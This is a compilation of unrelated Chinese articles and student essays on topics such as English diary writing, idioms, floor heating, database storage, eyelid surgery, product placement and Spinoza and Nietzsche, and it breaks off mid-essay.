记英语日记是提高我们英语水平的一个有效途径。记英语日记可以锻炼我们用英语思维来思考，为我们更好地理解和使用英语单词，短语和习语提供了一个机会，同时记英语日记也是提高我们写作技巧的好方法。
In the first place, to keep a diary in English, we need to think in English. As Chinese students, we are used to thinking in our traditional way and it is quite difficult to change our way of thinking. Keeping a dairy can help us find the difference between the ways of thinking in Chinese and in English, understand the basic way of English thinking and finally use it in our composition. And if we understand the way of thinking in English, we will be easier to learn English well.
首先，要记英语日记，我们需要用英语思维来思考。作为中国学生，我们习惯了传统的思维方式，要转变是很困难的。记英语日记可以帮助我们找出汉语思维和英语思维之间的区别，帮助我们理解英语思维的基本方法，最后运用于我们的写作中。如果我们理解了英语的思维方法，我们就更容易学好英语。
Second, to keep a diary in English, we need to master the certain number of English vocabulary, phrases, idioms and the culture of English country. Therefore, the process of keeping a diary is also a process of learning and understanding English.
第二，要记英语日记，我们需要掌握一定数量的英语单词，短语，习语和英语国家的文化。因此，记日记的过程也是学习和理解英语的过程。
Third, keeping a diary in English is a good way to improve our English writing skills. Through keeping a diary, we can accumulate the certain number of English knowledge and use them flexibly. Over a long period, we will find that our level of writing have been improved a lot.
第三，记英语日记是提高我们的写作技巧的好方法。通过记日记，我们可以积累一定数量的英语知识，能够灵活地运用它们。长期之后，我们会发现我们的写作水平有大进步。
In a word, keeping a diary in English is helpful to improve our level of English.
总之，记英语日记有助于提高我们的英语水平。
篇13：关于成长日记式作文600字
棒棒糖是那样的甜，你可知道，怎么吃它最有滋味吗?也不知你的答案是什么，反正，在我的记忆里啊，含着泪啃棒棒糖是最有滋味的。
苦涩涩
在我很小的时候，上学、放学就没了爸、妈的接送，只得独自一人走上一大段路，很是累人。直到有那么一天，一个同学告诉我：我每天走的那条路旁边有一条小道走回家很近。我正好一直以来都不想走那么远的路，这正合我意啊!为了这条捷径，我特地买了根棒棒糖来庆祝。
于是乎，啃着棒棒糖我就上路了。事情可没有预料的那么圆满：第一，迷路了;第二，由于到处是泥泞，进退二难。我一下子精神崩溃了，啜泣起来。口里的糖还泛着甜味，可心里却又苦又涩。
甜滋滋
5月13日，是我终身难忘的一天，我真正的见到了我自己的偶像。那晚8：00，群星演唱会就开始了，一大堆我不喜欢的明星上台折磨了我2个小时后，就在我没耐性打开棒棒糖之际，我的偶像——周杰伦，终于闪亮登场了，伴着《黑色毛衣》的旋律上台了。看着他，我不免百感交集哭了出来。我没有理会爸爸的不解，只是一直哭，直到他把《双截棍》、《霍元甲》、《乱舞春秋》唱完。钟爱的棒棒糖，远没有那歌的滋味。
酸溜溜
爸爸那天不能送我，就叫我独自搭公交车去学校，他说凡是路过阅马场的公交车都不能坐，因为这种公交车在钟家村铁桥下停，到校要多走十分钟的路。在我打开一支棒棒糖的时候，来了一辆符合爸爸“要求”的公交车，立马坐上去，谁知它不按爸爸的“指示”，开到钟家村铁桥下就到站了。害得我一路狂奔到校，心里酸酸的。
棒棒糖依旧那么甜，我的成长伴随着这甜美，在我心里留下深深的印记，就像海浪冲击岸边遗落的贝壳那样美丽。
篇14：关于成长日记式作文600字
在我成长的道路上，有许多有意义的事，其中就有这么些事，一直让我不能忘怀。
记得那次运动会上，我报名了男子五百米跑步。比赛开始了，我跑在最前面，我就觉得自己是最棒的，不会有人能超过自己，我得意洋洋。突然，一不小心我被摔倒了，钻心的疼痛使我无法站起来。就在这时，我发现了的老师，她用鼓励的目光看着我，好像在说：站起来，你是好样的。老师的目光，像甘甜的露水滋润了我的心田。我信心倍增，我猛地站起来又继续向前跑去。到了第二圈，我已是筋疲力尽了，而且还掉在别人后面，我就想放弃。一旁的老师好像看穿了我的心事，大声喊起来：“加油!加油!”老师的声音，给了我巨大的力量，我鼓足勇气，坚持着跑到了终点。虽然我是最后一个到达终点的，但老师还是向我竖起了大拇指。
还有一次，是在一节数学课堂里，老师布置了几道题让我们自己做。不一会儿，老师喊起了我的名字，让我上讲台给全班同学讲第一道题。我想，我不善于言辞，老师这不是在大庭广众之下给我出丑吗?但老师的话，不得不听从，我只好硬着头皮走到讲台上。全班五十六双眼睛盯着我，此时的我简直就像热锅上的蚂蚁。我吞吞吐吐地讲了起来，可是，由于紧张，我说话的声音恐怕连我自己都难以听见。看到我紧张的样子，老师向我送来了鼓励的目光，还大声地说：“别紧张，你能行!”有了老师的鼓励，我信心十足，声音也高了。题讲完了，教室里响起了掌声，那掌声竟然是老师第一个鼓起来的，顿时，我心里有了说不出的激动。那以后，我胆子也大起来了，我的成绩也慢慢好起来了。
虽这两件事都是小事，但在我记忆的深处始终难以抹去，因为它是我成长的足迹，而且在我成长的历程中记录了老师给我的鼓励，这鼓励那么深厚，那么伟大，使我永远难忘……
篇15：哪些词语是abcc式的
哪些词语是abcc式的
一、议论纷纷 形容意见不一，议论很多。
二、言之凿凿 凿凿：确实。形容说得非常确实。
三、文质彬彬 文：文采;质：实质;彬彬：形容配合适当。原形容人既文雅又朴实，后形容人文雅有礼貌。
四、天网恢恢 天网：天道之网;恢恢：宽广的样子。指天道如大网，坏人是逃不过这个网的，作恶必受到惩罚。
五、威风凛凛 威风：威严的气概;凛凛：严肃，可敬畏的样子。形容声势或气派使人敬畏。
六、众目睽睽 睽睽：张目注视的样子。许多人争着眼睛看着。指在广大群众注视之下。
七、风尘仆仆 风尘：指行旅，含有辛苦之意;仆仆：行路劳累的样子。形容旅途奔波，忙碌劳累。
八、薄暮冥冥 傍晚时天气昏暗。
九、大才盘盘 盘盘：形容大的样子。指有大才干的人。
十、独行踽踽 孤零零地一个人走路。
十一、虎视耽耽 象老虎那样凶狠地盯着。
十二、情意绵绵 情意：对人的感情。绵绵：延续不断的样子。形容情意深长，不能解脱。
十三、铁中铮铮 铮铮：金属器皿相碰的声音。比喻才能出众的人。
十四、兴致勃勃 兴致：兴趣;勃勃：旺盛的样子。形容兴头很足。
十五、风雨凄凄 凄凄：寒冷。风雨交加，清冷凄凉。
十六、俯仰唯唯 唯唯：答应的声音。点头答应。比喻谦卑地应付。
十七、无所事事 事事：前一“事”为动词，做;后一“事”为名词，事情。闲着什么事都不干。
十八、大腹便便 便便：肥胖的样子。形容肥胖的样子。
十九、庸中佼佼 佼佼：美好。指平常人中特别出众的
二十、来势汹汹 动作或事物到来的气势很厉害。
二十一、路远迢迢 形容路途遥远。
二十二、热气腾腾 热气蒸腾的样子。形容气氛热烈或情绪高涨。
二十三、死气沉沉 形容气氛不活泼。也形容人精神消沉，不振作。
二十四、天下汹汹 汹汹：喧扰。形容局势动荡，群情喧扰。
二十五、含情脉脉 饱含温情，默默地用眼神表达自己的感情。常用以形容少女面对意中人稍带娇羞但又无限关切的表情。
二十六、人心惶惶 惶惶：也作“皇皇”，惊惶不安的样子。人们心中惊惶不安。
二十七、关情脉脉 关情：关切的情怀。脉脉：情意深长。形容眼神中表露的意味深长的绵绵情怀。亦作“脉脉含情”。
二十八、喜气洋洋 洋洋：得意的样子。充满了欢喜的神色或气氛。
二十九、言之谆谆，听之藐藐 说的人很诚恳，听的人却不放在心上。
三十、英姿勃勃 英俊而富有朝气的样子。
三十一、小时了了 指人不能因为少年时聪明而断定他日后定有作为。
三十二、血泪斑斑 血与泪俱在实证物。
三十三、血债累累 血债：未报的杀人深仇;累累：形容很多。指杀人很多，罪恶极大。
三十四、人言籍籍 指人们议论纷纷。
三十五、空腹便便 便便：肥胖的样子。比喻并无真才实学。
三十六、大名鼎鼎 鼎鼎：盛大的样子。形容名气很大。
三十七、忧心悄悄 忧虑不安的样子。
三十八、苦海茫茫 苦海：苦难深重如海;茫茫：辽阔深远的样子。无穷无尽的苦难。
三十九、人才济济 济济：众多的样子。形容有才能的人很多。
四十、言笑晏晏 说说笑笑，和柔温顺。
四十一、剑戟森森 比喻人心机多，很厉害。
四十二、人言藉藉 籍籍：纷乱的样子。人们指责、攻击的话哪里都流传着。多用在说有关人家名誉的事。
四十三、钉头磷磷 建筑物上一颗颗的钉头光彩耀眼。
四十四、中心摇摇 中心：心中;摇摇：心神不安。形容心神恍惚，难以自持。
四十五、衣冠楚楚 楚楚：鲜明、整洁的样子。衣帽穿戴得很整齐，很漂亮。
四十六、妙手空空 指小偷，也形容手中一无所有。
四十七、大才槃槃 槃槃：形容大的样子。指有大才干的人。
四十八、书声朗朗 形容读书声音清朗而响亮。
四十九、心旌摇摇 心神不定，情思起伏，就像旌旗随风飘摇一样。
五十、波光鳞鳞 形容波光像鱼鳞一样层层排列。
五十一、万里迢迢 形容路程很遥远
五十二、磨刀霍霍 现多形容敌人在行动前频繁活动。
五十三、忠心耿耿 耿耿：忠诚的样子。形容非常忠诚。
五十四、雄心勃勃 勃勃：旺盛的样子。形容雄心很大，很有理想。
五十五、泪眼汪汪 汪汪：满眼泪水的样子。两眼充满泪水。
五十六、小心翼翼 翼翼：严肃谨慎。本是严肃恭敬的意思。现形容谨慎小心，一点不敢疏忽。
五十七、两手空空 形容人手头很紧，一个钱也没有。
五十八、千里迢迢 迢迢：遥远。形容路途遥远。
五十九、怒气冲冲 盛怒的.样子。
六十、不甚了了 甚：很;了了：明白。不很明白，不很懂。
六十一、万目睽睽 睽睽：张目注视的样子。在众人的注视、监督下。
六十二、天网恢恢，疏而不漏 意思是天道公平，作恶就要受惩罚，它看起来似乎很不周密，但最终不会放过一个坏人。比喻作恶的人逃脱不了国法的惩处。
六十三、行色匆匆 行色：出发前后的神态。行走或出发前后的神态举止急急忙忙的样子。
六十四、童山濯濯 没有树木，光秃秃的山。
六十五、信誓旦旦 信誓：表示诚意的誓言;旦旦：诚恳的样子。誓言说得真实可信。
六十六、铁板钉钉 ①犹言硬碰硬。比喻说话办事坚决、干脆。②比喻已成定论。
六十七、顾虑重重 重重：一层又一层。一层又一层的顾虑。形容顾虑极多，难于放手行事。
六十八、傲骨嶙嶙 傲骨：指高傲不屈的性格。嶙嶙：山崖突兀貌。比喻高傲不屈。
六十九、得意洋洋 洋洋：得意的样子。形容称心如意、沾沾自喜的样子。
七十、余子碌碌 余子：其他的人。指其他人平庸无能，表示对别人的轻视。
七十一、丰度翩翩 丰度：风采气度。翩翩：洒脱的样子。形容神态举止文雅优美，超逸洒脱。同“风度翩翩”。
七十二、白发苍苍 苍苍：灰白色。头发灰白。形容人的苍老。
七十三、吉祥止止 第一个止字是留止的意思，第二个止字是助词。指喜庆。
七十四、神采奕奕 奕奕：精神焕发的样子。形容精神饱满，容光焕发。
七十五、气喘吁吁 形容呼吸急促，大声喘气。
七十六、秋水盈盈 形容眼神饱含感情。同“秋波盈盈”。
七十七、心事重重 心里挂着很多沉重的顾虑。
七十八、逃之夭夭 本意是形容桃花茂盛艳丽。后借用“逃之夭夭”表示逃跑，是诙谐的说法。
七十九、文质斌斌 原形容人既文雅又朴实，后形容人文雅有礼貌。同“文质彬彬”。
八十、瘦骨嶙嶙 形容人或动物消瘦露骨。
八十一、板上钉钉 比喻事情已经决定，不能改变。
八十二、人言啧啧 人们不满地议论纷纷。
八十三、众口嗷嗷 嗷嗷：哀号声。形容人们因饥饿而嗷嗷哀号。
八十四、暮气沉沉 暮气：黄昏时的烟霭;沉沉：低沉。形容精神萎靡不振，缺乏朝气。
八十五、饥肠辘辘 饥肠：饥饿的肚子;辘辘：车行声。肚子饿得咕咕直响。形容十分饥饿。
八十六、鸿飞冥冥 冥冥：遥空。大雁飞向远空。比喻远走避祸。
八十七、野心勃勃 勃勃：旺盛的样子。形容野心非常大。
八十八、杀气腾腾 杀气：凶恶的气势;腾腾：气势旺盛的样子。形容充满了要杀人的凶狠气势。
八十九、仪表堂堂 仪表：人的外表，风度;堂堂：仪容庄严大方的样子。形容人的容貌端正。
好善恶恶 崇尚美善，憎恨丑恶。
篇16：什么是干式地暖？
什么是干式地暖？
干式地暖又名超薄地暖，因相对于普通地暖安装方式无需地暖回填，故取名干式地暖，又因无需回填层，相对于普通地暖减少占用层高故又名超薄地暖。
地面辐射供暖(简称地暖)是以整个地面为散热器，通过地板辐射层中的热媒，均匀加热整个地面，利用地面自身的蓄热和热量向上辐射的规律由下至上进行传导，来达到取暖的目的，
干式地暖是一种基于干式地暖模块内铺设管材的一种新型地暖方式.干式暖模块包括导热层、隔热层，导热层位于隔热层的上方，导热层与隔热层固接，导热层与隔热层上对应设有地暖盘管槽，地暖盘管槽为倒Ω形管槽。省去了管卡，也不需使用胶水覆膜固定，既不占层高又保障地板弹性和良好的舒适度。
干式地暖最大的特点是无需温式地暖那样回填，节省了占用空间高度.普通地暖从保温层到地面装饰层为8厘米左右.干式地暖从保温层到地面装饰层占用层高在4厘米及以下。
篇17：什么是泥水加压式盾构？
，
在泥水加压式盾构的密封舱内充满特殊配制的压力泥浆，刀盘(花板型)浸没在泥浆中工作。对开挖面支护，通常是由泥浆压力和刀盘面板共同承担，前者主要是在掘进中起支护作用，后者主要是在停止掘进时起支护作用。
篇18：什么是书信式的演讲稿
什么是书信式的演讲稿
书信式的演讲稿是按照书信的格式和要求来写作的，能够反映彼此的人物个性，是一封很“特殊”的书信。这个特别之处主要表现在五个方面。
一是倾述对象不同，书信将信息和感情直接传递给收信人，而演讲的受众是听众，因此，保密程度发生了变化。演讲在特定的'公众场合展开，保密价值不大，不像信件作为个人秘密受法律的严格保护。
二是载体发生了变化，演讲采用的会议、音像制品，纸质形体一般只是辅助手段。随着形体的改变，书信式的演讲稿一般还有标题，演讲中演讲者不读标题，但在演讲前，主持人要报幕，如“下面是×××写给丈夫的信：《我要你平安归来》”。
三是内容的真实性有差异，书信内容一般都真实可信，而演讲则为了让听众接受自己的观点和情感，内容一般经过了艺术加工，甚至演讲中所谓的“你”可能对于演讲来说根本不存在，是创作者根据听众的愿望和演讲的需要所作的合理虚构。
四是对情节的完整性要求不一致，书信中所涉及的内容和事情只需要收信人能够看明白就行了，不必写得十分完整具体。而演讲稿则要巧妙地把情感、事情的来龙去脉都说得清清楚楚。
五是艺术程度不一样，书信侧重真实性，类似于两个人促膝谈心，艺术效果没有严格要求。而演讲则侧重于艺术表现，有的议论、抒情措词要更精确，语言节奏感强，还应适当运用幽默、双关、反语等修辞手法，牢牢吸引听众的注意力，具有较强的欣赏价值和感召力。
篇19：什么是行式数据库，什么是列式数据库
数据库以行、列的二维表的形式存储数据，但是却以一维字符串的方式存储，例如以下的一个表：
EmpIdLastnameFirstnameSalary1SmithJoe400002JonesMary500003JohnsonCathy44000这个简单的表包括员工代码(EmpId), 姓名字段(Lastname and Firstname)及工资(Salary).
这个表存储在电脑的内存(RAM)和存储(硬盘)中，虽然内存和硬盘在机制上不同，电脑的操作系统是以同样的方式存储的。数据库必须把这个二维表存储在一系列一维的“字节”中，由操作系统写到内存或硬盘中。
行式数据库把一行中的数据值串在一起存储起来，然后再存储下一行的数据，以此类推。
1,Smith,Joe,40000;2,Jones,Mary,50000;3,Johnson,Cathy,44000;
列式数据库把一列中的数据值串在一起存储起来，然后再存储下一列的数据，以此类推，
1,2,3;Smith,Jones,Johnson;Joe,Mary,Cathy;40000,50000,44000;
这只是一个简化的说法。
在关系数据库领域，除传统的ORACLE、SQLSERVER、MYSQL等行式数据库外，目前在数据仓库领域列式数据库越来越受到关注。
二 对比
1 行式更适合OLTP, 查询一个记录的所有列。 列式更适合OLAP，非常适合于在数据仓库领域发挥作用，比如数据分析、海量存储和商业智能；涉及不经常更新的数据。由于设计上的不同，列式数据库在并行查询处理和压缩上更有优势。而且数据是以列为单元存储，完全不用考虑数据建模或者说建模更简单了。要查询计算哪些列上的数据，直接读取列就行。2 列式在存储方面占有很大的优势，能有效提高数据压缩比，节省存储空间。
篇20：什么是韩式双眼皮手术
什么是韩式双眼皮手术
韩式双眼皮手术也就是俗称的重睑术，也是美容外科双眼皮手术中的一种手术方式手术方法有这几类，埋线重睑术，切开重睑术，缝线重睑术，现在很多女性还是比较喜欢做埋线重睑术的，通常来说，双眼皮可以让眼睛变大，在呢个天不少立体感，增大眼睛轮廓。并且可以让睫毛上翘，给了一种生动，传神的感觉，但是单眼皮较厚，睫毛下垂，就会显得眼睛比较小，让人觉得目光呆滞，没有什么灵气和神韵，因为亚洲人当中单眼皮还是比较多的，所以现在做此项手术的人还是挺多。
韩式双眼皮美容手术包含了很多种手术的方法，其中常见的有切开法，埋线法，还有一线连续埋线法和部分切开法。这些方法都是尺有所短，寸有所长。
切开法适用于眼睑较厚或脂肪较多的单眼皮，两个眼睛大小不一致或睑下垂的单眼皮。与埋线法相比有手术时间长、恢复期长的缺点，但一般5-7天就可恢复了。
埋线法适用于眼睑皮肤较薄且眼轮匝肌较薄的单眼皮、没有蒙古皱纹且眼睑皮肤没有下垂的单眼皮，专家提醒您并不适合做这样手术的人图方便做这样手术后不久，因眼睑下垂不得不进行二次手术的大有人在。埋线双眼皮手术的缺点是保持的时间短。
一线连续埋线法，是指利用一个缝合线埋没在肌肉里面，做连续多次的埋没而做出双眼皮的手术方法。还有部分切开法，这种手术的方法是指根据眼睑的状态采用折中型的“部分切开法”，不切开整个画线的眼睑，只切开部分眼睑，去除脂肪来做双眼皮的方法。
什么是韩式韩式双眼皮手术?对于爱美女性来说，美丽的脸蛋，缺失一双迷人的双眼皮是一个遗憾，所以不少女性会选择做双眼皮手术来改善自己，术后的效果也是非常不错的，如果您需要进行此项手术的话，必须要去正规的整形医院才可以。
篇21：‘教案’创新作文教案、日记叙写式
【策略提醒】
日记体文章是利用日记的形式，围绕一个中心，选取记录几个生活片断或心灵感悟来完成写作。
日记体文章感觉亲切，小巧玲珑，新颖别致，同时容纳面广，表达方式灵活，能理想解决容纳大量材料，跨越长远的时空，巧妙过渡等问题，能灵活选用自己擅长的表达方式来完成主题的表达。日记体写作虽省去了诸多谋篇之烦，但仍需仔细考虑其它问题：选材要切题、典型、新颖；材料间的关系既要求相对独立又有内在联系；语言要避免生活日记般的平淡，更不能写成流水帐。
采用日记体写作时格式要求并不严格。有时只简单标注日期就够了。但也有一些小技巧可以采用，如天气的阴晴可做心情的暗示，题记、后记、感悟类文字的出现可显露主题等。
【例文赏析】
那段日子，有点尘埃【以尘埃为喻，巧拟题目。】
那是一段没有阳光的日子，心灵世界只有风暴和潮汐。
--题记
【题记总起，显露主题。】
2月22日
走进家门，奶奶的灵牌和遗照迎接了我。好似刺刀在我的心脏来回穿插的痛，传遍我周身，奶奶，在这近一个月没有您的日子里，我的心里空荡荡的，灵魂在过去的日子中游荡--大椿树下清亮亮的泉水映出祖孙二人，奶奶粗糙的手侍弄着湿漉漉的头发，金色的阳光，跃动的泡泡，奶奶的手好温柔。夏夜里，素白的蚊帐中，祖孙二人躺在凉席上说着夜话，床那边我抱着奶奶的脚认真地听，不知不觉中就睡着了。这一切是多么美好阿！然而平静的大海突然波涛汹涌，吞噬了一切。奶奶摔倒了，离开了我们。我回忆不起我的哭喊、号叫，只记得我心灵的痛。【睹今思昔，强烈的对比中写出逝去亲人之痛。】
203月23日
爸爸明天就要走了，去上海打工。奶奶一走，爸爸也没什么牵挂了，况且我读书需要钱。晚上，我为他收拾衣服，一件一件都是破的，我止住了眼眶中的泪水，五十多岁的他让沧桑的岁月磨得更加苍老。吃晚饭的时候，爸爸突然抬起头，以少有的那种温情对我说：“我和你妈离婚后，你就和我相伴，十四年我都没有离开过你，到了上海，我只想你。”我端着喝汤的`碗来掩住我的脸。“我知道你也会想我的，毕竟父女连心。”一向不善言辞的他突然冒了一句，让我的眼泪扑扑地直往下掉，一颗颗落入碗中。碗里的声音，爸爸你听到了吗?【笔触凝重，情感真挚。读这段文字，我们会不由自主的想起朱自清先生的《背影》，何其相似！】
年4月6日
特别喜欢听《黄昏》，喜欢它的颓废，喜欢它的悲伤，更喜欢它的回忆。那流血的声音使人悲痛欲绝。我一遍一遍地听，让那悲伤撞击我的心灵，让我知道我的痛不算什么。我勾勒着那凄艳的黄昏，一大片一大片的荒草，慵懒的黄与那灼艳的红融合，带着点橙色，似乎酸酸的，涩涩的。一轮摇摇欲坠又依依不舍的日头，留恋着美好的一切，荒草丛中躺着伤心的人儿，望着落日那近乎绝望的美。【借《黄昏》写悲苦的心情。】
4月23日
傍晚，街道上的风很凉，我不禁抱住双臂，如寒风中的草儿。实在没什么意思，我突然想和大自然做斗争，跑到冷饮店接连吃了三支雪糕，喝了一瓶冰水，站在冷柜边的婆婆都说：“小姑娘，别吃了，会生病的。”我看着老婆婆，突然从她的眼神里找到了我许久没有享受到的东西--那种怜爱又略带责备。我不敢再呆下去，付了钱飞奔出门，我又哭了，我又想起了奶奶。路过烧饼店，想起奶奶的手艺，于是买了一个啃着。回去碰到数学老师，他问我为什么数学考砸了，我没有说话。我更觉得对不起奶奶，对不起爸爸，我怎能用急剧下滑的成绩来回报他们?【此片断写悲苦情感的渲泄。老奶奶的出现是匠心之笔，自然就有了后面的醒悟自问了。】
后记：其实我不是一个悲观的人，在那段我最亲的人一个死去一个为我离开的日子，我虽然孤独悲伤，但我还是挺过来了。在每写一篇日记时都没有哭，我已经学会不用泪水来渲泄痛苦了。【后记解说，深化主题，面对悲苦，要学会坚强。】
【例文点评】
文章情感真挚，催人泪下。作者用日记的形式，再现了一段真实的心灵历程，既叙写故事，又渲泄情感，表现了自己的孤独悲伤。读此文，恐怕我们已忽视了书信体文章结构巧成、新颖灵活等特点了，而只重于那深重的情感了。冷静之余，我们应认识到：①巧用日记体，实现了本文时空的长远跨越，实现了冗繁材料的缀连；②选材精当，如不采用日记体，材料三是很难插入的；③题记与后记的灵活出现，更好地体现了主题。
【范文品读】
生命花开
成长是在一刹那，生命花开，心灯闪亮…
3月18日星期五阴
今天看了《读者》上的一篇文章，叫《老鼠百变》，一只小老鼠乞求山神爷依次把它变为猫、狗、狼、大象，最后它又去乞求山神爷把它变回老鼠。可惜已经晚了。读完，我沉思了片刻，仿佛自己就是这只小老鼠，时而想变成雄师，自由奔跑；时而又想变成雄鹰，能自由飞翔…而我却从来没想过一个人应该切切实实地做些什么。我羡慕别人渊博的知识，嫉妒别人美好的气质，但我却从未考虑过怎样才能追上甚至超越他们。
感悟：羡慕别人是没有用的，每个人都有自己的优点和缺点，只有拥有自信，取长补短，才能使自己更完美。
203月19日星期六阴转小雨
“学校最新消息，本市今年采取优待政策，觉得自己考不上高中的同学可以去技校，学费特别优惠，开学三个月后开始拿工资…”老班一进教室就开始广播，并让我们放假后和父母商量一下，看有没有想去的。我暗想：“打死我也不会去，肯定是骗人。”老班继续敲警钟：“不去的都得规规矩矩地坐在教室里，静下心来学习，离中考只有…”我彷徨了，望着黑板上那醒目的“距中考仅剩83天”的字样，开始思考我的前途；“我的前方是什么样子?我还要走多远?”渐渐地，我发现，既然我选择了上学，就要付出汗水，不管前方还有多远，路有多难！
感悟：如果自己是真的觉悟了，就要付出行动，并努力做好它。
年3月22日星期二晴
我一直在思索。佛曰：“苦海无边，回头是岸。”可是当我回头时，只看到白茫茫的一片。不管前进还是后退，离岸都有很长一段距离了。所以说，苦海无边是真的，回头是岸却是假的。除了拼命往前游之外，我别无选择。
2006年3月23日星期三晴
其实，我一直很努力。我不禁回想起往日，一次次在昏黄的路灯下背诵英语单词，一次次在课间十分钟时还游戈于数、理、化的题海之中。从《捕蛇者说》到《君子于役》，从“先秦繁星”到“汉宫秋月”，我在学习中体验着艰辛与快乐。现在正是关键时刻，我要为了心中的梦想而更加艰苦地奋斗！
2006年3月24日星期四晴
晚自习是语文，“哲学家”黄老师又开始发表言论了，还是关于上技校的。我想了想，其实他说得很对，学习很累，不学习固然轻松，但这并不意味着就上了天堂，而是在一步步地走向地狱，“哲学家”还举了他的学生的例子，有力地证明了读书的好处。我开始沉思：“如果我失去了读书的机会，会是什么样子?”很难想象，我不禁打了个寒战。我想，即使我的成绩再差，也要在中考中搏一搏，我是不会轻易放弃自己的学业的。
感悟：能抓住的机会，千万不能让它溜掉，俗话说：过了这个村，就没在个店了。
一周之内，我觉得自己一下子蹿了好高，我突然明白：一个人真正的成长是从内心开始的！
【仿写题例】
1、军训生活日记；
2、以“理解”“成长”“奋斗”等为话题进行日记体写作。
篇22：日记式的抒情诗歌
日记式的抒情诗歌
今天是某年某月某日星期六，闲来无事看电视
又是歌舞，
几乎所有频道的舞台上
都是歌舞，眼花缭乱的歌舞
深受审美疲劳之苦的我
随好心的`按钮逃往深山
随喜欢自然的镜头走进深山
真实中的美，远远胜过，想象中的美
深山正因为深，才摒弃浅薄
深山正因为深，才远离尘嚣
住在这里多好啊
空气是空气，水是水
满眼青翠欲滴，诗意的生活
唾手可得
住在这里真好吗
再往深处走，我想到了孤独和寂寞
再往深处走，我看见一个孩子赤着脚
仿佛充满好奇地望着我
我看见更多的孩子没鞋穿
仿佛羡慕似的看着我，
我们的镜头放慢了
陌生、惊讶、语噎
我们的脚步停止了
梦碎、感叹、思考
结尾，不是画外音的画外音
孩子，这双鞋子漂亮吗？漂亮
喜欢这双鞋子吗？喜欢，你能告诉叔叔
将来你最想干什么吗？一个孩子大声说
一群孩子大声说，走出大山
篇23：植入式广告是个技术活
场景一：罗书全有些迷茫地走入I DO店，
男导购：“您好，欢迎光临I DO”。
女导购：“先生您好，需要帮忙吗？”。
罗书全：“哦，我看看，我看看戒指”。
女导购：“您这边请”，“您这边看一下，有喜欢的款式我给您拿出来看一下”。
罗书全：“好”。
女导购：“先生我帮您推荐我们这边两款戒指吧，您先看这一款吧，您看它的造型像什么？”
罗书全：“气球”。
女导购：“不是，它是一个艾菲尔铁塔设计理念，您看”。
罗书全：“哦，真是”。
女导购：“它代表你的感情可以感动得艾菲尔铁塔也为之倾倒”，“还有像这一款也是，您看底部有一颗钻石，您可以看一下”。
罗书全：“哦，是”。
女导购：“先生，您是结婚用的吗？”
罗书全：“哦～”
女导购：“这两款非常合适……您可以挑选一下……”
场景二：左永邦满头大汗地走入I DO店。
左永邦：“小姐，快o我选款戒指，我要求婚！”。
女导购：“先生您好，您看这款行吗？，这是我们真爱加冕系列的主打款”。
左永邦：“能求成吗？”
女导购：“小姐一定会喜欢”。
左永邦：“那就是它了……”
以上两个场景就是I DO钻石在近期热播的电视剧《男人帮》中的植入广告，分别出现于罗书全打算向AMY求婚与左永邦向米琪求婚前，也是全集中最抓人眼球的时刻。作为由赵宝刚导演，由孙红雷、黄磊等著名演员领衔主演的情感大戏，《男人帮》在东方卫视、浙江卫视等明星卫视上大放光彩，是10月份第一强档影视剧，
除了I DO外，京东商城、丰田汽车、特伦苏牛奶、果汁果乐、青岛啤酒、杰克沃克等品牌都在该剧中有上佳的表现，可谓一场广告植入荟萃。
所谓“植入式广告”，是指把产品及其服务具有代表性的视听品牌符号融入影视或舞台产品中的一种广告方式，给观众留下相当的印象，以达到营销目的。其最大的优点有三：第一，受干扰度低，同一部剧中不会出现同类产品；第二，好的影视剧潜力大、受众多、千人成本低；第三，潜移默化的植入，避免了受众对广告的抵触心理，到达率不仅高而且效果自然。相比于前些年珠宝界的一片沉闷，珠宝品牌的广告也开始大范围的投放广告。目前，在央视各频道，周大福、老凤祥、金伯利、金艺华、六福、周大生、金兰珠宝、金象珠宝等品牌也开始群星绽现。但是，相比于白酒行业、汽车行业、日化行业等成熟行业还是显得“小巫见大巫”了。也就是说，这些企业虽然已经开始有了广告意识，但受制于珠宝的特性――重复购买率低，根本不适合采用广告轰炸式的方式――毫不夸张地讲，即使是国内第一龙头周大福也不及“海飞丝”洗发水知名度的十分之一。那么，怎样才是有效且低成本的传播方式呢？笔者认为，在时下流行的几种“新营销”模式中，植入式广告就是其中重要的一种。
其实早于I DO在《男人帮》里的植入，瑞恩钻石在《爱情呼叫转移2》就曾经有过：剧中范伟把林嘉欣带到自己开的瑞恩珠宝店里，让她随意挑选店里的首饰佩戴，还把自己家传玉镯都送给她，这一幕较全面地体现了瑞恩的整体店面形像。但是，就影响力而言，瑞恩的这次传播并没有形成什么效应，这又是为什么呢？关键就在于植入式广告的运用技巧，这决定一则植入广告的效果。
要充分考虑目标受众。
投放平台必须要与目标受众有精确的交集，这是采用植入式广告时首要考虑的问题。在一部以家庭妇女为目标受众的电影中植入高科技产品显然是不合适的，目标受众群的分离将造成广告的无效或低效投放。
精析：《男人帮》是由名导赵宝刚导演的一部都市情感大戏，号称男人版的“欲望都市”。 这样一部完全以年轻都市男女爱情为主线的电视剧，岂不是“珠宝”这种婚恋必备产品的一流搭载平台？所以说，目标受众与植入产品广告的高度切合是I DO成功的第一基石。
篇24：你的喜悦是尼采式的吗？
不是快乐，不是幸福，它的名字叫喜悦，
在西方大哲人斯宾诺莎和尼采的眼中，它是生命中极为重要的东西，它与“存在”同义。柏格森也把喜悦称为“创造性的生命冲动”。今天，担任巴黎四大（索邦大学）道德哲学系首席教授的罗伯特·密斯哈黑（Robert Misrahi）更是号召我们，在“激愤”的21世纪重新凸显喜悦的重要地位。人只有在喜悦之中，才是真正的人！
■认知越多，拥有的喜悦就越多
巴鲁赫·斯宾诺莎（Baruch Spinoza，1632～1677）
斯宾诺莎试图找到符合我们人类本质的伦理——一种生活和思考的方式。他认为人本质上是灵魂和身体的合体，受情绪和欲望约束。但这位荷兰哲学家讨厌各种情绪，因为它们使人沦为被动的奴隶：忧伤让人不知所措，失望、愤怒、恐惧和迷恋更令人无所适从。
至高无上的喜悦却完全不同，它不会导致冲动的言行，也不会使人耽于幻想，它产生于被认知“照亮”的时刻。我们认知越多，懂得越多，拥有的喜悦就越多，我们自己也会更优秀、更强大。
斯宾诺莎毕生都在与蒙昧主义战斗，他的著作遭到教会的严厉贬责，但他始终坚信：喜悦是逐渐超越我们对意识形态所强加的习惯、规范而获得的。因此，斯宾诺莎的喜悦是渴望自由之人的喜悦。
■喜悦是一场战斗
弗里德里希·尼采（Friedrich Nietzsche，1844～1900）
大部分尼采的著作都像是对狂喜的召唤。对这个健康状况极不稳定的忧郁者来说，这些情绪不是自发形成的。但是尼采请我们每一个经历了失望、沮丧和挫折的普通人，不要听任自己陷入悲观主义的控制。
